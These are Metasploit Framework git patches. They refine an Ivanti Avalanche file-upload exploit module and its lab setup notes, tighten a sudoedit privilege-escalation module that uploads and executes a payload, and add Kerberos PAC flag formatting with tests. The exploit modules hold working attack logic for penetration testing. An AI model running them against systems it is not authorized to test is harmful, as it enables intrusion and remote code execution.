authenticate @@ -100,7 +109,7 @@ def authenticate html = res.get_html_document view_state = get_view_state(html) - fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state') unless view_state + fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after browsing to the login page.') unless view_state res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'login.jsf'), @@ -117,7 +126,7 @@ def authenticate } ) - unless res&.code == 302 && res&.headers&.[]('Location')&.include?('inventory.jsf') + unless res&.code == 302 && res&.headers&.dig('Location')&.include?('inventory.jsf') fail_with(Failure::UnexpectedReply, 'Login failed') end end @@ -149,7 +158,7 @@ def configure_filestore # determine drive letter drive_letter = @original_config_path.match(/([a-zA-Z])(:|\$)/) - fail_with(Failure::UnexpectedReply, 'Couldn\'t determine drive letter for path') unless drive_letter&.length&.> 1 + fail_with(Failure::UnexpectedReply, 'Couldn\'t determine drive letter for path') unless drive_letter&.length&.>= 3 drive_letter = drive_letter[1] new_config_path = "#{drive_letter}:\\PROGRA~1\\Wavelink\\AVALAN~1\\Web" @@ -175,10 +184,10 @@ def get_directory_val(res, dir_name) results = html.xpath('//tr[contains(@class, "DIRECTORY")]') fail_with(Failure::UnexpectedReply, 'Failed to find list of expected directories') unless results - expand_dir = results.find { |result| result.at('td').text.strip == dir_name } + expand_dir = results.find { |result| result.at('td')&.text&.strip == dir_name } fail_with(Failure::UnexpectedReply, "Failed to find the '#{dir_name}' directory to write to") unless expand_dir data_rk = expand_dir.at('@data-rk')&.value - fail_with(Failure::UnexpectedReply, 'Failed to get value to expand \'webapps\' directory') unless data_rk + fail_with(Failure::UnexpectedReply, "Failed to get value to expand #{dir_name} directory") unless data_rk data_rk end @@ -199,6 +208,7 @@ def expand_folder(data_rk, view_state) end def select_folder(data_rk, view_state) + @cleanup_needed = true send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), 'method' => 'POST', @@ -229,18 +239,18 @@ def upload_payload fail_with(Failure::UnexpectedReply, 'Failed to access updated FileStore page') unless res&.body&.include?('FileStore') web_data_rk = get_directory_val(res, 'webapps') view_state = get_view_state(res.get_html_document) - fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state') unless view_state + fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after accessing the updated FileStore page') unless view_state res = expand_folder(web_data_rk, view_state) fail_with(Failure::UnexpectedReply, 'Did not receive response from \'webapps\' expansion') unless res avalanche_data_rk = get_directory_val(res, 'AvalancheWeb') view_state = get_view_state(res.get_html_document) - fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state') unless view_state + fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after getting the directory value for AvalancheWeb') unless view_state res = select_folder(avalanche_data_rk, view_state) fail_with(Failure::UnexpectedReply, 'Did not receive response from \'AvalancheWeb\' selection') unless res view_state = get_view_state(res.get_html_document) - fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state') unless view_state + fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after selecting the AvalancheWeb folder') unless view_state boundary = "#{'-' * 4}WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}" @@ -289,6 +299,10 @@ def upload_payload end def cleanup + if @cleanup_needed == false + return + end + restore_msg = 'Please manually restore FileStore config via Tools -> Central FileStore -> Configurations.' print_status('Attempting to restore config path') res = send_request_cgi( @@ -298,12 +312,16 @@ def cleanup ) unless res - fail_with(Failure::UnexpectedReply, "Could not access FileStore config. #{restore_msg}") + print_error("Could not access FileStore config. #{restore_msg}") + return end html = res.get_html_document view_state = get_view_state(html) - fail_with(Failure::UnexpectedReply, "Failed to get view state. #{restore_msg}") unless view_state + unless view_state + print_error("Failed to get view state. #{restore_msg}") + return + end send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), @@ -333,6 +351,10 @@ def cleanup end def exploit + # Starting off we shouldn't need cleanup, however if we get to the point were we start + # to change config settings then we will need to clean that up. + @cleanup_needed = false + authenticate configure_filestore payload_name = upload_payload From ea988f0c7869c0a060cdcbab6f3b4a4d157c287c Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Fri, 12 May 2023 14:27:39 -0500 Subject: [PATCH 115/415] Add more documentation on how to set the target up based on my own experience and so that we have a backup in case the link to external documentation breaks --- .../ivanti_avalanche_filestoreconfig_upload.md | 17 +++++++++++++---- 1 file changed, 13 insertions(+), 4 deletions(-) diff --git a/documentation/modules/exploit/windows/http/ivanti_avalanche_filestoreconfig_upload.md b/documentation/modules/exploit/windows/http/ivanti_avalanche_filestoreconfig_upload.md index fcc6bf34d42e7..862b54bfb2b2f 100644 --- a/documentation/modules/exploit/windows/http/ivanti_avalanche_filestoreconfig_upload.md +++ b/documentation/modules/exploit/windows/http/ivanti_avalanche_filestoreconfig_upload.md @@ -14,14 +14,23 @@ The software requires a version of MSSQL Server to be installed. The installatio instructions use MSSQL Server 2012, but 2017 worked for my setup. Ensure that `SQL Server and Windows Authentication Mode` is selected as the default for server authentication. This can either be done at installation or via -SQL Server Management Studio. +SQL Server Management Studio, available from https://learn.microsoft.com/en-us/sql/ssms/download-sql-server-management-studio-ssms. 1. Open SQL Server Management Studio and connect to the instance 2. Right click on the instance and select `Properties` 3. Click the `Security` page -4. Underneath `Server Authentication`, select `SQL Server and Windows Authentication Mode` and `Ok` - -Instructions for installing Ivanti Avalanche can be found [here](https://forums.ivanti.com/s/article/Best-Known-Method-for-installing-Avalanche-6-x-using-MSSQL-Server-2008-R2-Express-DB-or-2012-Express-Advanced?language=en_US) +4. Underneath `Server Authentication`, select `SQL Server and Windows Authentication Mode` and `Ok`. +5. Open SQL Server Configuration Manager -> SQL Server Network Configuration -> Protocols for MSSQLSERVER -> TCP/IP -> Change from Disable to Enabled. +6. SQL Server Configuration Manager -> SQL Server Services -> Stop all Services -> Start just the SQL Server (MSSQLSERVER) service. +7. Go back to SQL Server Management Studio. +8. Security -> Logins -> sa -> Right click -> Select Properties -> Status -> Toggle Login to Enabled -> Ok +9. Execute the following SQL statement in SQL Server Management Studio: `ALTER LOGIN sa WITH PASSWORD = 'theSAUser123';` +10. You should now be able to run the installer and set the hostname to `127.0.0.1`, set the username to `sa`, and the password to `theSAUser123`. +11. Hitting the next button and accept the rest of the defaults. +12. When it comes to setting up the TomCat connectors, be sure to enable the HTTP and HTTPS services and adjust the ports if there are any port conflicts. +13. You should now have a complete install available. + +In case the above doesn't work, instructions for installing Ivanti Avalanche can be found [here](https://forums.ivanti.com/s/article/Best-Known-Method-for-installing-Avalanche-6-x-using-MSSQL-Server-2008-R2-Express-DB-or-2012-Express-Advanced?language=en_US) ## Verification Steps From 560fc9000bae250374032d1a544c889613a59c96 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Fri, 12 May 2023 16:08:47 -0500 Subject: [PATCH 116/415] Fix up checks on responses to make sure they are more robust checks --- .../http/ivanti_avalanche_filestoreconfig_upload.rb | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb b/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb index ef5de28c7bf6c..774d0ae5c91b8 100644 --- a/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb +++ b/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb @@ -144,7 +144,7 @@ def configure_filestore 'keep_cookies' => true ) - unless res && res.body.include?('FileStore') + unless res&.get_html_document&.xpath('//form[@id="form_filestore_tree"]')&.first fail_with(Failure::UnexpectedReply, 'Failed to access FileStore configuration') end @@ -176,7 +176,12 @@ def configure_filestore } ) - fail_with(Failure::UnexpectedReply, 'Failed to change FileStore config path') unless res&.body&.include?(new_config_path) + input_field_html = res&.get_html_document&.xpath('//input[@id="txtUncPath"]')&.first + if input_field_html.blank? + fail_with(Failure::UnexpectedReply, 'Did not receive a response containing the expected txtUncPath input field!') + elsif input_field_html[:value] != new_config_path + fail_with(Failure::UnexpectedReply, 'Failed to change FileStore config path') + end end def get_directory_val(res, dir_name) @@ -236,7 +241,7 @@ def upload_payload 'keep_cookies' => true ) - fail_with(Failure::UnexpectedReply, 'Failed to access updated FileStore page') unless res&.body&.include?('FileStore') + fail_with(Failure::UnexpectedReply, 'Failed to access updated FileStore page') unless res&.get_html_document&.xpath('//form[@id="form_filestore_tree"]')&.first web_data_rk = get_directory_val(res, 'webapps') view_state = get_view_state(res.get_html_document) fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after accessing the updated FileStore page') unless view_state From 6bee4f56d9d6eeaa24e9caa130d1f385e8839b4a Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 13 May 2023 15:49:11 -0400 Subject: [PATCH 117/415] updates from review --- .../linux/local/sudoedit_bypass_priv_esc.rb | 22 ++++++++++++++----- 1 file changed, 17 insertions(+), 5 deletions(-) diff --git a/modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb b/modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb index 44577dc175627..2c7ed6bf8f961 100644 --- a/modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb +++ b/modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb @@ -80,17 +80,23 @@ def base_dir end def get_editable_file - vprint_status("Using user defined EDITABLEFILE: #{datastore['EDITABLEFILE']}") if datastore['EDITABLEFILE'] - return datastore['EDITABLEFILE'] if datastore['EDITABLEFILE'] + if datastore['EDITABLEFILE'].present? + fail_with(Failure::BadConfig, 'EDITABLEFILE must be a file.') unless file?(datastore['EDITABLEFILE']) + + vprint_status("Using user defined EDITABLEFILE: #{datastore['EDITABLEFILE']}") + return datastore['EDITABLEFILE'] + end # we do a rev here to reverse the order since we only want the last entry, take item 1, then rev it back so its normal. this seemed to # be the easiest way to do a cut -f -1 (negative one). https://stackoverflow.com/questions/22727107/how-to-find-the-last-field-using-cut editable_file = cmd_exec('sudo -l -S | grep -E "sudoedit|sudo -e" | grep -E "(root)" | rev | cut -d " " -f 1 | rev') editable_file = editable_file.strip - if editable_file.include?('a terminal is required to read the password') || editable_file.nil? || editable_file.empty? + if editable_file.nil? || editable_file.empty? || editable_file.include?('a terminal is required to read the password') || editable_file.include?('password for') return nil end + return nil unless file?(editable_file) + editable_file end @@ -163,7 +169,7 @@ def check elsif exploitable return CheckCode::Vulnerable("Sudo #{ver_no} is vulnerable, can edit: #{editable_file}") else - return CheckCode::Vulnerable("Sudo #{ver_no} is vulnerable, can edit: #{editable_file}. OS can NOT be exploitabed by this module") + return CheckCode::Vulnerable("Sudo #{ver_no} is vulnerable, can edit: #{editable_file}. OS can NOT be exploited by this module") end end @@ -181,10 +187,16 @@ def exploit end # Make sure we can write our exploit and payload to the local system - unless writable? base_dir + unless writable?(base_dir) && directory?(base_dir) fail_with Failure::BadConfig, "#{base_dir} is not writable" end + sys_info = get_sysinfo + + # Check the app is installed and the version + fail_with(Failure::NoTarget, 'Only Ubuntu 22.04 and 22.10 are exploitable by this module') unless sys_info[:distro] == 'ubuntu' + fail_with(Failure::NoTarget, 'Only Ubuntu 22.04 and 22.10 are exploitable by this module') unless sys_info[:version].include?('22.04') || sys_info[:version].include?('22.10') + # Upload payload executable payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" upload_and_chmodx payload_path, generate_payload_exe From 82bf51647d75ffc056b869f7f60c97ba34498bc5 Mon Sep 17 00:00:00 2001 From: cgranleese-r7 Date: Tue, 9 May 2023 10:11:11 +0100 Subject: [PATCH 118/415] Improves flag formatting for kerberos ticket presenter --- .../credential_cache/krb5_ccache_presenter.rb | 101 ++++++- lib/rex/proto/kerberos/pac/krb5_pac.rb | 97 ++++++ .../krb5_ccache_presenter_spec.rb | 283 +++++++++++++++++- .../admin/kerberos/forge_ticket_spec.rb | 74 ++++- .../admin/kerberos/inspect_ticket_spec.rb | 148 ++++++++- 5 files changed, 680 insertions(+), 23 deletions(-) diff --git a/lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter.rb b/lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter.rb index 1025598bb1e7d..af3bd0830b441 100644 --- a/lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter.rb +++ b/lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter.rb @@ -30,6 +30,13 @@ class Krb5CcachePresenter }.freeze private_constant :AD_TYPE_MAP + # Tracks the currently supported BinData types that can be formatted by the + # Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter#print_bindata_model method. + BIT_LENGTHS = { + ::BinData::Bit1 => 1 + }.freeze + private_constant :BIT_LENGTHS + # @param [Rex::Proto::Kerberos::CredentialCache::Krb5Ccache] ccache def initialize(ccache) @ccache = ccache @@ -106,6 +113,92 @@ def present_cred(cred, key: nil) output.join("\n") end + # This method takes a BinData object and parses it to create a formatted output + # that help users visualise what each flag means as well as if it is set or not + # + # Note: For now we only support bit1 flags from BinData, this could be extended in the future + # + # Example output + # .... .... .... .... .... .... .... .0.. Flag 29: The flag 29 is NOT SET + # .... .... .... .... .... .... .... ..1. Flag 30: The flag 30 is SET + # .... .... .... .... .... .... .... ...1 Flag 31: The flag 31 is SET + # + # @param model The BinData object + # @param [Integer] bit_length The length of desired byte output - number of dots in example above + # @return [String] Formatted output + def print_bindata_model(model, bit_length: nil) + rows = [] + model_keys = [] + model_values = [] + + bit_length ||= model.num_bytes * 8 + fields_and_values = model.to_enum(:each_pair).to_a + + # For now we only support bit1 flags from BinData, this could be extended in the future + fields_and_values.each do |field, value| + model_keys << field + model_values << value + unless BIT_LENGTHS.keys.include?(value.class) + raise TypeError, "Unsupported field type #{value.class} - expected #{BIT_LENGTHS.keys.join(',')}" + end + end + + if bit_length < model_keys.length + raise ArgumentError, "Bit length(#{bit_length}) should not be less that the number of flags(#{model_keys.length}) within the BinData model" + end + + padding = Array.new(bit_length - model_keys.length, :_reserved_) + flag_keys = padding + model_keys + binary_value = model_values.join + + bit_length.times do |i| + next if flag_keys[i].start_with?('_reserved_') + + dot_formatting = Array.new(bit_length, '.') + dot_formatting[(i - 1) - (bit_length - 1)] = binary_value[i] + buckets = dot_formatting.in_groups_of(4) # Issue if we don't received a multiple of 4 + dot_formatting = buckets.map(&:join).join(' ') + + human_readable_flag_name = flag_keys[i].to_s.split('_').map(&:capitalize).join(' ') + description = "#{human_readable_flag_name}: The #{flag_keys[i].to_s.upcase} bit is #{binary_value.chars[i] == '1' ? 'SET' : 'NOT SET'}" + rows << "#{dot_formatting} #{description}" + end + + rows.join("\n") + end + + # @param [RubySMB::Dcerpc::Samr::PgroupMembershipArray] group_memberships + # @return [Array] Formatted human readable representation of the group memberships + def print_group_memberships(group_memberships) + output = [] + if group_memberships.any? + group_memberships.map do |group| + group_attributes = Rex::Proto::Kerberos::Pac::GroupAttributes.read([group.attributes].pack('N')) + output << "Relative ID: #{group.relative_id}\nAttributes: #{group.attributes}".indent(4) + output << print_bindata_model(group_attributes, bit_length: 32).to_s.indent(6) + end + output + end + end + + # @param [RubySMB::Dcerpc::Ndr::NdrUint32] user_flags + # @return [Array] Formatted human readable representation of the user flags + def print_user_flags(user_flags) + output = [] + user_attributes = Rex::Proto::Kerberos::Pac::UserFlagAttributes.read([user_flags].pack('N')) + output << "User Flags: #{user_flags}".indent(2) + output << print_bindata_model(user_attributes, bit_length: 32).to_s.indent(4) + end + + # @param [RubySMB::Dcerpc::Ndr::NdrUint32] user_account_flags + # @return [Array] Formatted human readable representation of the user account flags + def print_user_account_flags(user_account_flags) + output = [] + user_account_attributes = Rex::Proto::Kerberos::Pac::UserAccountAttributes.read([user_account_flags].pack('N')) + output << "User Account Control: #{user_account_flags}".indent(2) + output << print_bindata_model(user_account_attributes, bit_length: 32).to_s.indent(4) + end + # @param [Rex::Proto::Kerberos::Pac::Krb5LogonInformation] logon_info # @return [String] A human readable representation of a Logon Information def present_logon_info(logon_info) @@ -124,9 +217,9 @@ def present_logon_info(logon_info) output << "Bad Password Count: #{validation_info.bad_password_count}".indent(2) output << "User ID: #{validation_info.user_id}".indent(2) output << "Primary Group ID: #{validation_info.primary_group_id}".indent(2) - output << "User Flags: #{validation_info.user_flags}".indent(2) + output << print_user_flags(validation_info.user_flags) output << "User Session Key: #{present_user_session_key(validation_info.user_session_key)}".indent(2) - output << "User Account Control: #{validation_info.user_account_control}".indent(2) + output << print_user_account_flags(validation_info.user_account_control) output << "Sub Auth Status: #{validation_info.sub_auth_status}".indent(2) output << "Last Successful Interactive Logon: #{present_ndr_file_time(validation_info.last_successful_i_logon)}".indent(2) @@ -139,7 +232,7 @@ def present_logon_info(logon_info) output << "Group Count: #{validation_info.group_count}".indent(2) output << 'Group IDs:'.indent(2) - output << validation_info.group_memberships.map { |group| "Relative ID: #{group.relative_id}, Attributes: #{group.attributes}".indent(4) } if validation_info.group_memberships.any? + output << print_group_memberships(validation_info.group_memberships) output << "Logon Domain ID: #{validation_info.logon_domain_id}".indent(2) @@ -219,6 +312,8 @@ def present_upn_and_dns_information(upn_and_dns_info) output << "DNS Domain Name: #{upn_and_dns_info.dns_domain_name.encode('utf-8')}".indent(2) output << "Flags: #{upn_and_dns_info.flags}".indent(2) + upn_and_dns_info_attributes = Rex::Proto::Kerberos::Pac::UpnDnsInfoAttributes.read([upn_and_dns_info.flags].pack('N')) + output << print_bindata_model(upn_and_dns_info_attributes, bit_length: 32).to_s.indent(4) if upn_and_dns_info.has_s_flag? output << "SAM Name: #{upn_and_dns_info.sam_name.encode('utf-8')}".indent(2) diff --git a/lib/rex/proto/kerberos/pac/krb5_pac.rb b/lib/rex/proto/kerberos/pac/krb5_pac.rb index 34e240b9bd5f2..01a1e646114d7 100644 --- a/lib/rex/proto/kerberos/pac/krb5_pac.rb +++ b/lib/rex/proto/kerberos/pac/krb5_pac.rb @@ -39,6 +39,103 @@ class Krb5SidAndAttributes < RubySMB::Dcerpc::Ndr::NdrStruct ndr_uint32 :attributes end + # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/311aab27-ebdf-47f7-b939-13dc99b15341 + class GroupAttributes < BinData::Record + endian :big + + 2.times do + bit1 :"_reserved_#{self.fields.length}" + end + + bit1 :resource + + 25.times do + bit1 :"_reserved_#{self.fields.length}" + end + + bit1 :owner + bit1 :enabled + bit1 :enabled_by_default + bit1 :mandatory + end + + # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/69e86ccc-85e3-41b9-b514-7d969cd0ed73 + class UserFlagAttributes < BinData::Record + endian :big + + 18.times do + bit1 :"_reserved_#{self.fields.length}" + end + + bit1 :used_lmv2_auth_and_ntlmv2_session_key + bit1 :used_lmv2_auth_and_session_key + + bit1 :used_ntlmv2_auth_and_session_key + bit1 :profile_path_populated + bit1 :resource_group_ids + bit1 :accepts_ntlmv2 + + bit1 :machine_account + bit1 :sub_authentication + bit1 :extra_sids + bit1 :_reserved_27 + + bit1 :lan_manager + bit1 :_reserved_29 + bit1 :no_encryption + bit1 :guest + end + + # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/4df07fab-1bbc-452f-8e92-7853a3c7e380 + # Protocol revision 45.0 contains USER_ACCOUNT Codes in section 2.2.1.12 + class UserAccountAttributes < BinData::Record + endian :big + + 10.times do + bit1 :"_reserved_#{self.fields.length}" + end + + bit1 :use_aes_keys + bit1 :partial_secrets_account + + bit1 :no_auth_data_required + bit1 :trusted_to_authenticate_for_delegation + bit1 :password_expired + bit1 :dont_require_preauth + + bit1 :use_des_key_only + bit1 :not_delegated + bit1 :trusted_for_delegation + bit1 :smartcard_required + + bit1 :encrypted_test_password_allowed + bit1 :account_auto_lock + bit1 :dont_expire_password + bit1 :server_trust_account + + bit1 :workstation_trust_account + bit1 :interdomain_trust_account + bit1 :mns_logon_account + bit1 :normal_account + + bit1 :temp_duplicate_account + bit1 :password_not_required + bit1 :home_directory_required + bit1 :account_disabled + end + + # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/1c0d6e11-6443-4846-b744-f9f810a504eb + class UpnDnsInfoAttributes < BinData::Record + endian :big + + 30.times do + bit1 :"_reserved_#{self.fields.length}" + end + + bit1 :sam_name_and_sid + bit1 :upn_name_constructed + end + class Krb5SidAndAttributesPtr < RubySMB::Dcerpc::Ndr::NdrConfArray default_parameters byte_align: 1, type: :krb5_sid_and_attributes diff --git a/spec/lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter_spec.rb b/spec/lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter_spec.rb index 9af971e0a719c..de2e2ef0e0f09 100644 --- a/spec/lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter_spec.rb +++ b/spec/lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter_spec.rb @@ -1,5 +1,16 @@ # frozen_string_literal: true +# Dummy BinData model +class DummyAttributes < BinData::Record + endian :little + + bit1 :foo + bit2 :bar + + bit3 :owner + bit2 :mandatory +end + RSpec.describe Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter do subject do described_class.new(ccache) @@ -194,8 +205,42 @@ User ID: 500 Primary Group ID: 513 User Flags: 0 + .... .... .... .... ..0. .... .... .... Used Lmv2 Auth And Ntlmv2 Session Key: The USED_LMV2_AUTH_AND_NTLMV2_SESSION_KEY bit is NOT SET + .... .... .... .... ...0 .... .... .... Used Lmv2 Auth And Session Key: The USED_LMV2_AUTH_AND_SESSION_KEY bit is NOT SET + .... .... .... .... .... 0... .... .... Used Ntlmv2 Auth And Session Key: The USED_NTLMV2_AUTH_AND_SESSION_KEY bit is NOT SET + .... .... .... .... .... .0.. .... .... Profile Path Populated: The PROFILE_PATH_POPULATED bit is NOT SET + .... .... .... .... .... ..0. .... .... Resource Group Ids: The RESOURCE_GROUP_IDS bit is NOT SET + .... .... .... .... .... ...0 .... .... Accepts Ntlmv2: The ACCEPTS_NTLMV2 bit is NOT SET + .... .... .... .... .... .... 0... .... Machine Account: The MACHINE_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .0.. .... Sub Authentication: The SUB_AUTHENTICATION bit is NOT SET + .... .... .... .... .... .... ..0. .... Extra Sids: The EXTRA_SIDS bit is NOT SET + .... .... .... .... .... .... .... 0... Lan Manager: The LAN_MANAGER bit is NOT SET + .... .... .... .... .... .... .... ..0. No Encryption: The NO_ENCRYPTION bit is NOT SET + .... .... .... .... .... .... .... ...0 Guest: The GUEST bit is NOT SET User Session Key: 00000000000000000000000000000000 User Account Control: 528 + .... .... ..0. .... .... .... .... .... Use Aes Keys: The USE_AES_KEYS bit is NOT SET + .... .... ...0 .... .... .... .... .... Partial Secrets Account: The PARTIAL_SECRETS_ACCOUNT bit is NOT SET + .... .... .... 0... .... .... .... .... No Auth Data Required: The NO_AUTH_DATA_REQUIRED bit is NOT SET + .... .... .... .0.. .... .... .... .... Trusted To Authenticate For Delegation: The TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION bit is NOT SET + .... .... .... ..0. .... .... .... .... Password Expired: The PASSWORD_EXPIRED bit is NOT SET + .... .... .... ...0 .... .... .... .... Dont Require Preauth: The DONT_REQUIRE_PREAUTH bit is NOT SET + .... .... .... .... 0... .... .... .... Use Des Key Only: The USE_DES_KEY_ONLY bit is NOT SET + .... .... .... .... .0.. .... .... .... Not Delegated: The NOT_DELEGATED bit is NOT SET + .... .... .... .... ..0. .... .... .... Trusted For Delegation: The TRUSTED_FOR_DELEGATION bit is NOT SET + .... .... .... .... ...0 .... .... .... Smartcard Required: The SMARTCARD_REQUIRED bit is NOT SET + .... .... .... .... .... 0... .... .... Encrypted Test Password Allowed: The ENCRYPTED_TEST_PASSWORD_ALLOWED bit is NOT SET + .... .... .... .... .... .0.. .... .... Account Auto Lock: The ACCOUNT_AUTO_LOCK bit is NOT SET + .... .... .... .... .... ..1. .... .... Dont Expire Password: The DONT_EXPIRE_PASSWORD bit is SET + .... .... .... .... .... ...0 .... .... Server Trust Account: The SERVER_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... 0... .... Workstation Trust Account: The WORKSTATION_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .0.. .... Interdomain Trust Account: The INTERDOMAIN_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... ..0. .... Mns Logon Account: The MNS_LOGON_ACCOUNT bit is NOT SET + .... .... .... .... .... .... ...1 .... Normal Account: The NORMAL_ACCOUNT bit is SET + .... .... .... .... .... .... .... 0... Temp Duplicate Account: The TEMP_DUPLICATE_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .... .0.. Password Not Required: The PASSWORD_NOT_REQUIRED bit is NOT SET + .... .... .... .... .... .... .... ..0. Home Directory Required: The HOME_DIRECTORY_REQUIRED bit is NOT SET + .... .... .... .... .... .... .... ...0 Account Disabled: The ACCOUNT_DISABLED bit is NOT SET Sub Auth Status: 0 Last Successful Interactive Logon: No Time Set (0) Last Failed Interactive Logon: No Time Set (0) @@ -204,11 +249,41 @@ Resource Group Count: 0 Group Count: 5 Group IDs: - Relative ID: 513, Attributes: 7 - Relative ID: 512, Attributes: 7 - Relative ID: 520, Attributes: 7 - Relative ID: 518, Attributes: 7 - Relative ID: 519, Attributes: 7 + Relative ID: 513 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + Relative ID: 512 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + Relative ID: 520 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + Relative ID: 518 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + Relative ID: 519 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET Logon Domain ID: S-1-5-21-3541430928-2051711210-1391384369 Effective Name: 'Administrator' Full Name: '' @@ -271,6 +346,8 @@ UPN: test@windomain.local DNS Domain Name: WINDOMAIN.LOCAL Flags: 1 + .... .... .... .... .... .... .... ..0. Sam Name And Sid: The SAM_NAME_AND_SID bit is NOT SET + .... .... .... .... .... .... .... ...1 Upn Name Constructed: The UPN_NAME_CONSTRUCTED bit is SET EOF end end @@ -288,10 +365,206 @@ UPN: test@windomain.local DNS Domain Name: WINDOMAIN.LOCAL Flags: 3 + .... .... .... .... .... .... .... ..1. Sam Name And Sid: The SAM_NAME_AND_SID bit is SET + .... .... .... .... .... .... .... ...1 Upn Name Constructed: The UPN_NAME_CONSTRUCTED bit is SET SAM Name: test SID: S-1-5-32-544 EOF end end + + describe '#print_bindata_model' do + context 'when the bindata object has fields that are not 1bit' do + it 'should raise an exception' do + binary_value = [7].pack('N') + dummy_attributes = DummyAttributes.read(binary_value) + expect { subject.print_bindata_model(dummy_attributes, bit_length: 32) }.to raise_error TypeError, 'Unsupported field type BinData::Bit2 - expected BinData::Bit1' + end + end + + context 'when a bit length less than the number of flags is passed' do # better description + it 'should raise an exception' do + binary_value = [7].pack('N') + group_attributes = Rex::Proto::Kerberos::Pac::GroupAttributes.read(binary_value) + expect { subject.print_bindata_model(group_attributes, bit_length: 2) }.to raise_error ArgumentError, 'Bit length(2) should not be less that the number of flags(32) within the BinData model' + end + end + + context 'when passed GroupAttributes' do + it 'should return formatted flag descriptions for GROUP_MEMBERSHIP flags with RESOURCE set' do + binary_value = [536870912].pack('N') + group_attributes = Rex::Proto::Kerberos::Pac::GroupAttributes.read(binary_value) + expect(subject.print_bindata_model(group_attributes, bit_length: 32)).to match_table <<~TABLE + ..1. .... .... .... .... .... .... .... Resource: The RESOURCE bit is SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .0.. Enabled: The ENABLED bit is NOT SET + .... .... .... .... .... .... .... ..0. Enabled By Default: The ENABLED_BY_DEFAULT bit is NOT SET + .... .... .... .... .... .... .... ...0 Mandatory: The MANDATORY bit is NOT SET + TABLE + end + + it 'should return formatted flag descriptions for GROUP_MEMBERSHIP flags with ENABLED, ENABLED_BY_DEFAULT and MANDATORY set' do + binary_value = [7].pack('N') + group_attributes = Rex::Proto::Kerberos::Pac::GroupAttributes.read(binary_value) + expect(subject.print_bindata_model(group_attributes, bit_length: 32)).to match_table 